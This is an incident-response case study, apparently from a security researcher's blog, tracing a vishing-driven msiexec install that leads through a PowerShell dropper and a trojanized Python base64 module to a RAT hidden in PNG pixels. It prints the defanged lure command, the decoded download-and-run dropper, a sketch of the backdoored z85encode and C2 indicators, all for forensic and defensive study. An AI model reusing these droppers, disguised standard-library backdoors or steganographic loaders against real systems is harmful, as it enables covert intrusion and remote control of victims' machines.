Incident casework · Case 2 of 4

Five stages of steganography: a RAT hidden in PNG pixels

A medium-severity msiexec alert. Five stages later I am staring at 90,000 characters of RAT source code extracted from the red channel of a PNG. The attacker replaced Python's own base64.py to hide the whole thing in plain sight.

Written March 2026, from an enterprise incident I worked. Published here September 2026.
Anonymized Organization, sector, the user's role and the incident date are generalized. The attacker's per-victim URL token is redacted. Attacker domain, C2 addresses and hashes are shown as observed.
Outcome Execution chain proven from four independent artifacts. Delivery method (vishing) likely but unproven.

The attack chain

STAGE 0: Social engineering (likely vishing)
   |
   v
STAGE 1: msiexec /Q remote MSI install via Win+R Run dialog
   |  "PowershellCleaner" by "CCATechnology", 32 KB, WiX Toolset
   v
STAGE 2: cleaner.ps1, obfuscated PowerShell dropper (1,117 bytes)
   |  integer array -> string -> iex
   v
STAGE 3: Dropbox ZIP, trojanized WinPython distribution
   |  full Python install with one key modification
   v
STAGE 4: nlib.py calls base64.z85encode() -> exec()
   |  but base64.py in Lib/ has been REPLACED
   |  z85encode() now reads background1.png and extracts pixel data
   v
STAGE 5: background1.png, 4.9 MB steganographic payload
   |  red channel of each pixel = one ASCII character
   |  90,125 characters of Python RAT source
   v
ASYNC RAT: RC4-encrypted C2, dual servers with failover
   |  138.68.15.116 (DigitalOcean) / 67.217.228.8 (BitLaunch)
   v
PERSISTENCE: script.vbs -> pythonw.exe -> hidden PowerShell
   MemoryChecker.lnk in the Startup folder, plus a daily SYSTEM task

Initial detection

The endpoint agent fired a cloud IOC, W32.MSIExecRemoteInstall.ioc, medium severity. Someone had run msiexec against a remote URL, which is suspicious on its own. The specifics made it worse: the command was executed through the Win+R Run dialog, and the URL pointed at an external domain none of us had ever seen.

The user was a new hire, about seven weeks on the job.

The social engineering

The command the user pasted into the Run dialog:

msIeXEC.exe /paCkAGE http:\\sendtokenscf[.]com\system32\..\Verification\..\UserID[redacted] /Q

The evasion packed into one line:

  • Mixed casing: msIeXEC, /paCkAGE. Bypasses naive string matching while Windows happily ignores case.
  • Backslashes in the URL: http:\\ instead of http://. Windows resolves it. Some URL parsers and filters do not.
  • Path traversal that cancels itself: \system32\..\Verification\..\UserID… resolves to just the final segment. system32 and Verification exist purely to look legitimate.
  • /Q: silent install. No UI, no prompts, no evidence on screen.
  • "Verification" and a per-victim user ID: designed to read as a routine IT identity check. Exactly what a new hire expects. The ID token is redacted here because it is the attacker's tracking key for this specific target.

Then I checked the RunMRU registry key, where Windows stores everything typed into the Run dialog. The user's RunMRU held only two complete entries, both the malicious command, plus a truncated partial third attempt. No other Run history at all.

Two complete entries plus a partial, with zero other Run history, is consistent with someone being coached through the process in real time, likely over the phone. The first attempt probably appeared to hang silently (/Q gives no feedback), so they were told to try again.

We never definitively proved the delivery method. Email logs were clean. Teams was unused. No remote-access tools were found. No browser history of sendtokenscf[.]com. USB artifacts were clean. Everything points to a phone call, a vishing attack, but we could not prove it.

Stage 1: the MSI

The MSI was 32 KB. Its metadata told a story:

PropertyValue
Product namePowershellCleaner
ManufacturerCCATechnology
Build toolWiX Toolset v3.14.1.8722
ProductCode{695DAA0E-19BC-455C-81B2-6A4A1EC1DB0E}
cleaner.ps1 created08:32 local
MSI built09:37 local
User executed14:19 local

Same-day build. The attacker wrote cleaner.ps1 at 08:32, packaged it at 09:37, and the user ran it at 14:19. A five-hour turnaround from payload creation to execution. The MSI was built fresh for this specific attack.

Inside, a CustomAction at install sequence 6601 auto-runs cleaner.ps1 via a hidden PowerShell process with -ExecutionPolicy Bypass. The MSI is just a delivery vehicle.

MSI metadata is forensically rich. Build timestamps, tooling versions, product GUIDs, manufacturer strings: the attacker left their build-environment fingerprint in the installer. "CCATechnology" and "PowershellCleaner" are almost certainly reused across campaigns.

Stage 2: the dropper

cleaner.ps1 was 1,117 bytes. The obfuscation was an integer array converted to a string and piped to iex:

# Obfuscated form (truncated):
$arr = @(73,69,88,...); $s = ''; foreach($i in $arr){ $s += [char]$i }; iex $s

Decoded:

$url  = "https://dl.dropboxusercontent[.]com/s/[redacted]/wpython.zip"
$dest = "$env:APPDATA\WPy64-31401"
Invoke-WebRequest -Uri $url -OutFile "$dest\wpython.zip"
Expand-Archive -Path "$dest\wpython.zip" -DestinationPath $dest -Force
Start-Process "$dest\pythonw.exe" -ArgumentList "$dest\nlib.py" -WindowStyle Hidden

Download a zip from Dropbox, extract it to %APPDATA%\WPy64-31401\ (mimicking a legitimate WinPython path), and silently launch pythonw.exe nlib.py. pythonw.exe runs Python without a console window, so there is nothing for the user to notice.

Stage 3: the trojanized Python

The zip contained a full WinPython distribution. Legitimate interpreter, legitimate standard library, legitimate directory structure. Everything you would expect from a portable Python install. With one critical modification, which we will get to after the launcher.

Stage 4: the supply-chain trick

nlib.py was over 500 lines of what looked like garbage: standard-library test functions, string manipulation, math, list comprehensions, all with 40-to-80-character randomized variable names. Scrolling through it, your eyes glaze over. A defender doing a quick scan would move on.

But line 513:

result = base64.z85encode(b"placeholder")
exec(result)

That looks wrong. z85encode() returns bytes, not executable code, and you do not exec() the output of an encoding function.

Here is the trick: Python's own base64.py in the Lib/ directory had been replaced with a backdoored version. The attacker took the real module from CPython and rewrote z85encode(). Instead of Z85 encoding, it now does this:

def z85encode(data):
    # 1. Open background1.png from a data subdirectory
    png_path = os.path.join(os.path.dirname(__file__), 'data', 'background1.png')
    with open(png_path, 'rb') as f:
        png_data = f.read()
    # 2. Parse PNG chunks manually (IHDR, IDAT, IEND)
    # 3. Inflate IDAT, walk the pixels, take the red channel of each
    # 4. Return the assembled characters as a string
    ...

Read that again. The function signature is z85encode(). It lives in base64.py. Any import base64 loads it. When nlib.py calls it, Python downloads nothing, imports nothing suspicious, touches no network. It opens a local PNG, parses the pixel data, returns a string. Then nlib.py calls exec() on it.

This is a supply-chain attack on the Python standard library itself. Instead of importing suspicious modules or adding files that might get flagged, the attacker modified a trusted module that ships with every Python installation. No new imports. No unusual file-access pattern. Just import base64, which appears in millions of legitimate scripts.

Stage 5: the steganography

background1.png was 4.9 MB. Open it in an image viewer and it is a generic desktop wallpaper: dark gradient, vaguely abstract. It would pass any manual review, and most automated scanning, because it is a perfectly valid PNG with correct headers, chunks and checksums.

But each pixel's red channel holds one ASCII character.

from PIL import Image
img = Image.open('background1.png')
pixels = img.load()
width, height = img.size
payload = ''
for y in range(height):
    for x in range(width):
        r, g, b, *_ = pixels[x, y]
        if 32 <= r < 127:
            payload += chr(r)
print(f"Extracted {len(payload)} characters")
# Extracted 90125 characters

90,125 characters. A fully functional async RAT, written in Python, hidden in the red channel of a wallpaper. You could run this PNG through any AV engine or sandbox and it is a valid image. The malicious content only appears when you read the pixel data as text.

The RAT

  • RC4 encryption for all C2 traffic, magic bytes \xfe\xfe\x00\x01 on every message
  • HTTP POST beaconing to /beacon/{agent_id} on port 80
  • Dual C2 servers, 138.68.15.116 (DigitalOcean) and 67.217.228.8 (BitLaunch), with automatic failover
  • Reconnaissance: MAC address, hostname, ARP table, running processes
  • Command execution via hidden PowerShell with CREATE_NO_WINDOW
  • Scheduled-task persistence, daily trigger, runs as SYSTEM
  • TLS verification bypass for C2
  • Process hiding: pythonw.exe with CREATE_NO_WINDOW and DETACHED_PROCESS

The persistence chain was layered: script.vbs launches pythonw.exe through a hidden PowerShell with a three-second delay; MemoryChecker.lnk in the Startup folder points at the VBScript; a daily SYSTEM task survives a cleaned Startup folder.

One detail stood out. MemoryChecker.lnk pointed to the Administrator profile path, not the user's. The user who ran the command was not a local admin. Either the malware or the attacker interactively obtained elevated privileges after initial execution. Something escalated.

Proving the infection vector

"The user probably ran a command" is not good enough for a report. Four independent artifact sources gave me proof.

RunMRU

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
MRUList: ba
a: msIeXEC.exe /paCkAGE http:\\sendtokenscf[.]com\system32\..\Verification\..\UserID[redacted] /Q\1
b: msIeXEC.exe /paCkAGE http:\\sendtokenscf[.]com\system32\..\Verification\..\UserID[redacted] /Q\1

Only two entries ever recorded in the Run dialog. Both are the malicious command.

UserAssist

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
msiexec.exe   Last Executed: 14:22   Run Count: 3   Focus Time: 0 ms

FocusMs: 0 means the process window never had focus. Consistent with /Q. The user never saw a window.

BAM

SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\{user SID}
powershell.exe    14:19
msiexec.exe       14:19

PowerShell and msiexec back-to-back under the user's SID, at the timestamp the MSI was downloaded.

Prefetch

MSEDGE.EXE-*.pf        browser active before infection
POWERSHELL.EXE-*.pf    stage 2 execution
DLLHOST.EXE-*.pf       MSI helper process
MSIEXEC.EXE-*.pf       stage 1 MSI install

Device trajectory showed the parent of msiexec.exe was explorer.exe. Anything launched from the Win+R Run dialog has explorer.exe as parent. A script or another process would show differently.

Four independent artifacts, one story. RunMRU shows what was typed. UserAssist shows when it ran and that it was silent. BAM confirms execution under the user's SID. Prefetch shows the process chain. Trajectory confirms the parent. Any one could be questioned. All together, it is airtight.

What we could not determine

We never proved how the user received the command. Email logs across all platforms were clean. Teams was not in use. No remote-access tools. No browser visit to sendtokenscf[.]com; the user only ever passed it to msiexec. USB forensics came up empty.

The most likely scenario is vishing. The RunMRU pattern of repeated attempts is what you get when someone is talked through a process and the first try produces no visible result. A new hire, seven weeks in, still building a model of what is normal, is the ideal target for "IT needs you to verify your workstation." But "most likely" is not "confirmed."

The lesson that still stings

The machine was wiped before a forensic image was taken. All of the analysis above was performed live over the C$ admin share while the machine was running. I documented every stage, but the artifacts were not preserved as standalone files. The machine got reimaged and I thought they were gone.

Weeks later, I discovered a forensic backup had been made before the wipe. The MSI, the dropper, the trojanized base64.py, the PNG and the RAT source are all recoverable. Image first is still the right call. Also check with your team before assuming evidence is gone.

Key takeaways

Supply-chain attacks can target the Python standard library. If you are analyzing a trojanized Python distribution, do not just read the scripts. Diff the standard library against a known-good copy.

PNG steganography hides 90K characters in plain sight. The file is not malicious. The data is. File scanning and sandboxing will not catch it.

RunMRU + UserAssist + BAM + Prefetch = definitive proof of execution method.

Image before you investigate. A forensic backup saved this case. Relying on luck is not a process.

New hires are high-value social-engineering targets. Onboarding security awareness belongs on day one, not day thirty.

IOCs

TypeValue
Domainsendtokenscf[.]com (MSI delivery)
C2 IP138.68.15.116 (DigitalOcean)
C2 IP67.217.228.8 (BitLaunch)
SHA-256293032B4366852BE28C0CE373F560064256BC2FB4964AF1EDD0849636B3A1227
Dropbox URLhxxps://dl[.]dropboxusercontent[.]com/s/[redacted]/wpython.zip
ProductCode{695DAA0E-19BC-455C-81B2-6A4A1EC1DB0E}
C2 beacon/beacon/{agent_id} on port 80, magic bytes \xfe\xfe\x00\x01
PersistenceMemoryChecker.lnk, script.vbs, daily SYSTEM scheduled task

Tools Endpoint detection, device trajectory and cloud IOCs · registry forensics (RunMRU, UserAssist, BAM) · prefetch analysis · Python for MSI metadata and PNG extraction · PowerShell and WMI over the admin share

← All research · Next case: triaging a ScreenConnect MSI campaign →